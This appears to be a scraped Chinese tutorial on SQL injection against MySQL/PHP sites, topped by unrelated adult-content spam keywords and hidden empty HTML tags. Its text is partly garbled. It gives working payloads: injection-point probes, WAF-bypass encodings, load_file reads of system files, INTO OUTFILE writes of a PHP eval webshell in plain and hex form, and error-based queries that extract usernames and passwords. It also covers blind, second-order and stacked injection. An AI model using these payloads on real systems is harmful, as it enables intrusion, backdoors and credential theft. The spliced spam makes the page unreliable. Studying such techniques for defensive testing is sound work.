久久久久久久视色,久久电影免费精品,中文亚洲欧美乱码在线观看,在线免费播放AV片

<center id="vfaef"><input id="vfaef"><table id="vfaef"></table></input></center>

    <p id="vfaef"><kbd id="vfaef"></kbd></p>

    
    
    <pre id="vfaef"><u id="vfaef"></u></pre>

      <thead id="vfaef"><input id="vfaef"></input></thead>

    1. 站長(zhǎng)資訊網(wǎng)
      最全最豐富的資訊網(wǎng)站

      帶你了解SQL注入(詳細(xì))

      本篇文章給大家?guī)?lái)了sql注入的相關(guān)知識(shí),SQL注入是服務(wù)端未嚴(yán)格校驗(yàn)客戶端發(fā)送的數(shù)據(jù),而導(dǎo)致服務(wù)端SQL語(yǔ)句被惡意修改并成功執(zhí)行的行為,希望對(duì)大家有幫助。

      帶你了解SQL注入(詳細(xì))

      SQL是什么?

      結(jié)構(gòu)化查詢語(yǔ)?(Structured Query Language ,SQL),是?種特殊的編程語(yǔ)?,?于數(shù)據(jù)庫(kù)的標(biāo)準(zhǔn)數(shù)據(jù)查詢。1986 年10 ?美國(guó)國(guó)家標(biāo)準(zhǔn)協(xié)會(huì)對(duì)SQL 進(jìn)?了規(guī)范后,以此作為關(guān)系型數(shù)據(jù)庫(kù)系統(tǒng)的標(biāo)準(zhǔn)語(yǔ)?。1987 年得到了國(guó)際標(biāo)準(zhǔn)組織的?持,成為了國(guó)際標(biāo)準(zhǔn)。

      什么是SQL注入

      SQL注入是服務(wù)端未嚴(yán)格校驗(yàn)客戶端發(fā)送的數(shù)據(jù),而導(dǎo)致服務(wù)端SQL語(yǔ)句被惡意修改并成功執(zhí)行的行為
      帶你了解SQL注入(詳細(xì))

      漏洞原理

      SQL 注?的攻擊?為可以描述為通過(guò)?戶可控參數(shù)中注?SQL 語(yǔ)法,破壞原有SQL 結(jié)構(gòu),達(dá)到編寫程序時(shí)意料之外結(jié)果的攻擊?為。其成因可以歸結(jié)為以下兩個(gè)原因疊加造成的。

      • 程序員在處理程序和數(shù)據(jù)庫(kù)交互時(shí),使?字符串拼接的?式構(gòu)造SQL 語(yǔ)句
      • 未對(duì)?戶可控參數(shù)進(jìn)??夠的過(guò)濾,便將參數(shù)內(nèi)容拼接到SQL 語(yǔ)句中

      漏洞原因

      • 用戶能夠控制輸入
      • 是對(duì)于輸入檢查不充分,導(dǎo)致SQL語(yǔ)句將用戶提交的非法數(shù)據(jù)當(dāng)作語(yǔ)句的一部分來(lái)執(zhí)行

      為什么會(huì)有SQL注入

      • 代碼對(duì)帶入SQL語(yǔ)句的參數(shù)過(guò)濾不嚴(yán)格
      • 未啟用框架的安全配置,例如:PHP的magic_quotes_gpc
      • 未使用框架安全的查詢方法
      • 測(cè)試接口沒(méi)有刪除
      • 未啟用防火墻
      • 未使用其他的安全防護(hù)設(shè)備

      注?點(diǎn)可能存在的位置

      根據(jù)SQL 注?漏洞的原理,?戶“可控參數(shù)”中注?SQL 與發(fā),也就是說(shuō)Web 應(yīng)?獲取?戶輸?的地?,只要帶?數(shù)據(jù)庫(kù)查詢,都有存在SQL 注?的可能,這些地?通常包括:

      • GET 數(shù)據(jù)
      • POST 數(shù)據(jù)
      • Cookie 數(shù)據(jù)
      • HTTP 頭部(HTTP 頭部中的其他字段)

      漏洞危害

      1. 數(shù)據(jù)庫(kù)信息泄漏、獲取、修改敏感數(shù)據(jù):數(shù)據(jù)庫(kù)中存放的用戶的隱私信息(帳號(hào)、密碼)的泄露
      2. 繞過(guò)登錄驗(yàn)證:使用萬(wàn)能密碼登錄網(wǎng)站后臺(tái)等
      3. 文件系統(tǒng)操作:列目錄,讀取、寫入文件等
      4. 網(wǎng)頁(yè)篡改:通過(guò)操作數(shù)據(jù)庫(kù)對(duì)特定網(wǎng)頁(yè)進(jìn)行篡改,嵌入網(wǎng)馬鏈接,進(jìn)行掛馬攻擊
      5. 注冊(cè)表操作:讀取、寫入、刪除注冊(cè)表等
      6. 執(zhí)行系統(tǒng)命令:遠(yuǎn)程執(zhí)行命令
      7. 服務(wù)器被遠(yuǎn)程控制、種植木馬:黑客可以修改或控制操作系統(tǒng)

      提交方法

      提交方法有:get、post、cookie、request等
      其中:request支持度較好,你把參數(shù)以get方式、post方式、cookie方式提交都是可以的

      判斷注入點(diǎn)

      會(huì)在疑似注?點(diǎn)的地?或者參數(shù)后?嘗試提交數(shù)據(jù),從而進(jìn)?判斷是否存在SQL 注?漏洞。

      測(cè)試數(shù)據(jù) 測(cè)試判斷 攻擊思路
      -1或+1 是否能夠回顯上?個(gè)或者下?個(gè)頁(yè)面(判斷是否有回顯) 聯(lián)合注入
      '" 是否顯示數(shù)據(jù)庫(kù)錯(cuò)誤信息;回顯的頁(yè)面是否不同(字符型還是數(shù)字型) 報(bào)錯(cuò)注入
      and 1=1 或者 and 1=2 回顯的頁(yè)面是否不同(判斷頁(yè)面是否有布爾類型的狀態(tài)) 布爾盲注
      and sleep(5) 判斷頁(yè)面的返回時(shí)間 延時(shí)注入
      判斷轉(zhuǎn)義

      注意:如果你對(duì)著一個(gè)網(wǎng)站測(cè)試的時(shí)候,出現(xiàn)404,或者頁(yè)面跳轉(zhuǎn),說(shuō)明網(wǎng)站有防護(hù)

      判斷字符型還是數(shù)字型

      如下圖,一般來(lái)說(shuō),id之類的參數(shù)后面跟的是數(shù)字型(也有可能是字符型),別的參數(shù)后面跟的是字符型
      帶你了解SQL注入(詳細(xì))

      sql注入繞過(guò)

      1. 大小寫繞過(guò)
      2. 雙寫關(guān)鍵字繞過(guò)
      3. 特殊編碼繞過(guò)

      如果有些字符串確實(shí)被限制的很嚴(yán)格,我們可以嘗試一些編碼繞過(guò)。
      如URLEncode編碼,ASCII、HEX、unicode編碼繞過(guò):

      • or 1=1即%6f%72%20%31%3d%31,
      • Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
      1. 空格過(guò)濾繞過(guò)
      2. 過(guò)濾函數(shù)繞過(guò)
      • sleep() ——> benchmark()
      • substr()、substring()、mid()可以相互替換
      • user() ——> @@user() 、datadir ——> @@datadir
      • ord() ——> ascii() :這兩個(gè)函數(shù)在處理英文時(shí)效果一樣,但處理中文時(shí)效果不一樣
      • ascii ——> hex()、bin():替代之后再使用對(duì)應(yīng)的進(jìn)制轉(zhuǎn)string即可
      • group_concat() ——> concat_ws()
      1. 內(nèi)聯(lián)注釋繞過(guò)/*!...*/

      在MySQL里,/**/是多行注釋,這個(gè)是SQL的標(biāo)準(zhǔn),但是MySQL擴(kuò)張了解釋的功能,如果在開(kāi)頭的的/*后頭加了感嘆號(hào)/*!50001sleep(3)*/,那么此注釋里的語(yǔ)句將被執(zhí)行。

      /*!50001 select * from test */;這里的50001表示假如 數(shù)據(jù)庫(kù)是5.00.01以上版本,該語(yǔ)句才會(huì)被執(zhí)行,對(duì)于有些waf我們可以通過(guò)這種方式進(jìn)行繞過(guò)。

      獲取網(wǎng)站路徑

      路徑常見(jiàn)獲取方法:

      1. 報(bào)錯(cuò)顯示

      帶你了解SQL注入(詳細(xì))

      1. 遺留文件

      別用百度,用谷歌搜索inurl:phpinfo.php
      帶你了解SQL注入(詳細(xì))

      漏洞報(bào)錯(cuò)、平臺(tái)配置文件、爆破等

      SQL 注入讀寫文件

      可以利用SQL 注入漏洞進(jìn)行文件讀寫。
      利用的前提條件:

      1. 數(shù)據(jù)庫(kù)支持文件讀寫

      這里涉及到1個(gè)變量secure_file_priv,該參數(shù)在高版本的 mysql 數(shù)據(jù)庫(kù)中限制了文件的導(dǎo)入導(dǎo)出操作。若要配置此參數(shù),需要修改 my.ini 配置文件,并重啟 mysql 服務(wù)【其在Phpstudy中默認(rèn)是NULL,不允許讀寫文件】
      帶你了解SQL注入(詳細(xì))

      參數(shù) 含義
      secure_file_priv=NULL 限制mysqld 不允許導(dǎo)入導(dǎo)出操作
      secure_file_priv=‘c:/a/’ 會(huì)限制mysqld 的導(dǎo)入導(dǎo)出操作在某個(gè)固定目錄下,并且子目錄有效
      secure_file_priv= 不對(duì)mysqld 的導(dǎo)入導(dǎo)出操作做限制

      修改配置文件,對(duì)讀寫不做限制,文件路徑C:phpStudyMySQLmy.ini,該操作比較敏感,需要在mysql的配置文件中操作,在phpmyadmin網(wǎng)頁(yè)中不能修改
      帶你了解SQL注入(詳細(xì))

      帶你了解SQL注入(詳細(xì))

      2. 當(dāng)前用戶具有文件權(quán)限

      1. 獲知當(dāng)前用戶和主機(jī)名
      ?id=-1'union select 1,current_user(),3 --+

      帶你了解SQL注入(詳細(xì))

      1. 查看有無(wú)權(quán)限
      ?id=-1' union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"--+

      帶你了解SQL注入(詳細(xì))

      方法2:

      select File_priv from mysql.user where user="root" and host="localhost";

      帶你了解SQL注入(詳細(xì))

      3. 知道文件絕對(duì)路徑

      1. 讀取文件,使用 load_file

      下面兩種方法一樣

      ?id=1' and 1=2 union select 1,load_file('c:\windows\system32\drivers\etc\hosts'),3 --+ ?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 --+

      帶你了解SQL注入(詳細(xì))

      1. 寫入文件,使用 into_outfile

      這里需要注意,寫16進(jìn)制是直接寫,寫明文的話,需要用引號(hào)給包住

      寫phpinfo,沒(méi)有報(bào)錯(cuò)就說(shuō)明寫入成功,可以直接訪問(wèn)寫入的文件地址

      # 1. 直接寫 ?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'c:\phpstudy\www\hack.php'--+ # 2. 改寫成16進(jìn)制 ?id=1' and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'c:/phpstudy/www/hack.php' --+

      帶你了解SQL注入(詳細(xì))

      帶你了解SQL注入(詳細(xì))

      寫一句話木馬

      # 1. 直接寫 ?id=1' and 1=2 union select 1,'<?=@eval($_REQUEST[404])?>',3 into outfile 'c:/phpstudy/www/hack1.php' --+  # 2. 改寫成16進(jìn)制 ?id=1' and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile 'c:/phpstudy/www/hack1.php' --+

      查詢方式及報(bào)錯(cuò)盲注⭐

      在進(jìn)行SQL注入時(shí),有很多注入會(huì)出現(xiàn)無(wú)回顯的情況,其中不回顯的原因可能是SQL語(yǔ)句查詢方式的問(wèn)題導(dǎo)致,這個(gè)時(shí)候我們需要用到相關(guān)的報(bào)錯(cuò)或盲注進(jìn)行后續(xù)操作,同時(shí)作為手工注入,提前了解或預(yù)知其SQL語(yǔ)句的大概寫法也能更好的選擇對(duì)應(yīng)的注入語(yǔ)句。

      更詳細(xì)的介紹,請(qǐng)參見(jiàn)下一篇文章 《SQL注入的常見(jiàn)方式》

      查詢方式

      重點(diǎn)理解:我們可以通過(guò)下面的查詢方式和網(wǎng)站應(yīng)用的關(guān)系、注入點(diǎn)產(chǎn)生地方、應(yīng)用猜測(cè)到對(duì)方的SQL查詢方式
      查詢方法舉例說(shuō)明

      1. select:查詢數(shù)據(jù)在網(wǎng)站應(yīng)用中進(jìn)行數(shù)據(jù)顯示查詢操作

      舉例:select * from news where id=$id

      1. insert:插入數(shù)據(jù)在網(wǎng)站應(yīng)用中進(jìn)行用戶注冊(cè)添加等操作

      舉例:insert into news(id,url,text) values(2,'x','$t')

      1. delete:刪除數(shù)據(jù)后臺(tái)管理里面刪除文章刪除用戶等操作

      舉例:delete from news where id=$id

      1. update更新數(shù)據(jù)會(huì)員或后臺(tái)中心數(shù)據(jù)同步或緩存等操作

      舉例:update user set pwd='$p' where id=2 and username='admin'

      1. order by排序數(shù)據(jù)一般結(jié)合表名或列名進(jìn)行數(shù)據(jù)排序操作

      舉例:select * from news order by $id
      舉例:select id,name,price from news order by $order

      報(bào)錯(cuò)盲注

      盲注就是在注入過(guò)程中,獲取的數(shù)據(jù)不能回顯至前端頁(yè)面。此時(shí),我們需要利用一些方法進(jìn)行判斷或者嘗試。
      這個(gè)過(guò)程稱之為盲注。我們可以知道盲注分為以下三類:

      1. 基于布爾的SQL盲注-邏輯判斷(不回顯)
        regexp,like,ascii,left,ord,mid

      2. 基于時(shí)間的SQ盲注-延時(shí)判斷(不回顯)
        if,sleep

      3. 基于報(bào)錯(cuò)的SQL盲注-(強(qiáng)制)報(bào)錯(cuò)回顯
        floor,updatexml,extractvalue

      報(bào)錯(cuò)模板:https://www.jianshu.com/p/bc35f8dd4f7c

      報(bào)錯(cuò)注入函數(shù)

      1. floor()
      • floor(x),返回小于或等于x的最大整數(shù)。
      • payload:select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x;
      • x表示concat(database(),rand(0)*2),rand(0)以0為隨機(jī)種子產(chǎn)生0-1之間的隨機(jī)數(shù),*2產(chǎn)生0-2之間的隨機(jī)數(shù)。
      • 報(bào)錯(cuò)原因:主鍵重復(fù),必需:count()、rand()、group by
      • 分析鏈接:https://xz.aliyun.com/t/253#toc-2
      1. exp()
      • exp(x)返回e^x。
      • 當(dāng)x的值足夠大的時(shí)候就會(huì)導(dǎo)致函數(shù)的結(jié)果數(shù)據(jù)類型溢出,也就會(huì)因此報(bào)錯(cuò)
      • payload:id =1 and EXP(~(SELECT * from(select user())a))
      1. updatexml()

      利用的就是mysql函數(shù)參數(shù)格式錯(cuò)誤進(jìn)行報(bào)錯(cuò)注入。

      updatexml()函數(shù)語(yǔ)法:updatexml(XML_document,Xpath_string,new_value);

      • 函數(shù)語(yǔ)法解析:
      • XML_document:是字符串String格式,為XML文檔對(duì)象名稱
      • Xpath_string:Xpath格式的字符串
      • new_value:string格式,替換查找到的符合條件的數(shù)據(jù)

      適用版本是:5.1.5+

      利用方式:在執(zhí)行兩個(gè)函數(shù)時(shí),如果出現(xiàn)xml文件路徑錯(cuò)誤,就會(huì)產(chǎn)生報(bào)錯(cuò) 那么我們就需要構(gòu)造Xpath_string格式錯(cuò)誤,也就是我們將Xpath_string的值傳遞成不符合格式的參數(shù),mysql就會(huì)報(bào)錯(cuò)

      1. extractvalue()

      利用的原理是xpath格式不符報(bào)錯(cuò)注入。

      函數(shù)語(yǔ)法:extractvalue(XML_document,XPath_string)
      適用的版本:5.1.5+

      1. 獲取當(dāng)前是數(shù)據(jù)庫(kù)名稱及使用mysql數(shù)據(jù)庫(kù)的版本信息: and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e))  2. 獲取當(dāng)前注入點(diǎn)的用戶權(quán)限信息及操作系統(tǒng)版本信息: and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e))  3. 獲取當(dāng)前位置所用數(shù)據(jù)庫(kù)的位置: and extractvalue(1,concat(0x7e,@@datadir,0x7e))  4. 獲取數(shù)據(jù)表信息: and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))  5. 獲取users數(shù)據(jù)表的列名信息: and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))  6. 獲取對(duì)應(yīng)的列名的信息(usernamepassword): and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))

      二次注入

      帶你了解SQL注入(詳細(xì))

      二次注入漏洞是一種在Web應(yīng)用程序中廣泛存在的安全漏洞形式。相對(duì)于一次注入漏洞而言,二次注入漏洞更難以被發(fā)現(xiàn),但是它卻具有與一次注入攻擊漏洞相同的攻擊威力。

      原理

      二次注入的原理:在第一次進(jìn)行數(shù)據(jù)庫(kù)插入數(shù)據(jù)的時(shí)候,僅僅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 對(duì)其中的特殊字符進(jìn)行了轉(zhuǎn)義,但是addslashes有一個(gè)特點(diǎn)就是雖然參數(shù)在過(guò)濾后會(huì)添加進(jìn)行轉(zhuǎn)義,但是并不會(huì)插入到數(shù)據(jù)庫(kù)中,在寫入數(shù)據(jù)庫(kù)的時(shí)候還是保留了原來(lái)的數(shù)據(jù)。

      在將數(shù)據(jù)存入到了數(shù)據(jù)庫(kù)中之后,開(kāi)發(fā)者就認(rèn)為數(shù)據(jù)是可信的。在下一次進(jìn)行需要進(jìn)行查詢的時(shí)候,直接從數(shù)據(jù)庫(kù)中取出了臟數(shù)據(jù),沒(méi)有進(jìn)行進(jìn)一步的檢驗(yàn)和處理,這樣就會(huì)造成SQL的二次注入。比如在第一次插入數(shù)據(jù)的時(shí)候,數(shù)據(jù)中帶有單引號(hào),直接插入到了數(shù)據(jù)庫(kù)中;然后在下一次使用中在拼湊的過(guò)程中,就形成了二次注入。

      實(shí)施步驟

      1. 插入惡意數(shù)據(jù)

      第一次進(jìn)行數(shù)據(jù)庫(kù)插入數(shù)據(jù)的時(shí)候,僅僅對(duì)其中的特殊字符進(jìn)行了轉(zhuǎn)義,在寫入數(shù)據(jù)庫(kù)的時(shí)候還是保留了原來(lái)的數(shù)據(jù),但是數(shù)據(jù)本身包含惡意內(nèi)容

      1. 引用惡意數(shù)據(jù)

      帶你了解SQL注入(詳細(xì))

      舉例

      這里使用的是sql-libs靶場(chǎng)的第24關(guān)

      1. 首先看一下最開(kāi)始的時(shí)候,靶機(jī)的數(shù)據(jù)庫(kù)是什么樣子的,這里以其中的用戶dhakkan來(lái)演示

      帶你了解SQL注入(詳細(xì))

      1. 注冊(cè)一個(gè)新用戶

      帶你了解SQL注入(詳細(xì))

      1. 注冊(cè)了一個(gè)新用戶之后的數(shù)據(jù)庫(kù)如下
        帶你了解SQL注入(詳細(xì))

      2. 新用戶登錄,并重置密碼

      3. 查看數(shù)據(jù)庫(kù),有意思的事情發(fā)生了,dhakkan的密碼改變了,但是新用戶的密碼沒(méi)有改變

      帶你了解SQL注入(詳細(xì))

      1. 在第24關(guān)的源代碼中,可以看到原因,如下圖

      帶你了解SQL注入(詳細(xì))

      堆疊查詢

      堆疊注入(Stacked injections),從名詞的含義就可以看到應(yīng)該是一堆sql語(yǔ)句(多條)一起執(zhí)行。而在真實(shí)的運(yùn)用中也是這樣的,我們知道在mysql中,主要是命令行中,每一條語(yǔ)句結(jié)尾加 ; 表示語(yǔ)句結(jié)束。這樣我們就想到了是不是可以多句一起使用。于是出現(xiàn)了堆疊注入(又稱堆疊查詢)
      帶你了解SQL注入(詳細(xì))

      注意事項(xiàng):
      堆疊注入的使用條件十分有限,其可能受到API或者數(shù)據(jù)庫(kù)引擎,又或者權(quán)限的限制只有當(dāng)調(diào)用數(shù)據(jù)庫(kù)函數(shù)支持執(zhí)行多條sql語(yǔ)句時(shí)才能夠使用,利用mysqli_multi_query()函數(shù)就支持多條sql語(yǔ)句同時(shí)執(zhí)行,但實(shí)際情況中,如PHP為了防止sql注入機(jī)制,往往使用調(diào)用數(shù)據(jù)庫(kù)的函數(shù)是mysqli_ query()函數(shù),其只能執(zhí)行一條語(yǔ)句,分號(hào)后面的內(nèi)容將不會(huì)被執(zhí)行,所以可以說(shuō)堆疊注入的使用條件十分有限,一旦能夠被使用,將可能對(duì)網(wǎng)站造成十分大的威脅

      DNSlog

      DNSlog 就是存儲(chǔ)在 DNS Server 上的域名信息,它記錄著用戶對(duì)域名 www.baidu.com 等的訪問(wèn)信息,類似日志文件。

      贊(0)
      分享到: 更多 (0)
      網(wǎng)站地圖   滬ICP備18035694號(hào)-2    滬公網(wǎng)安備31011702889846號(hào)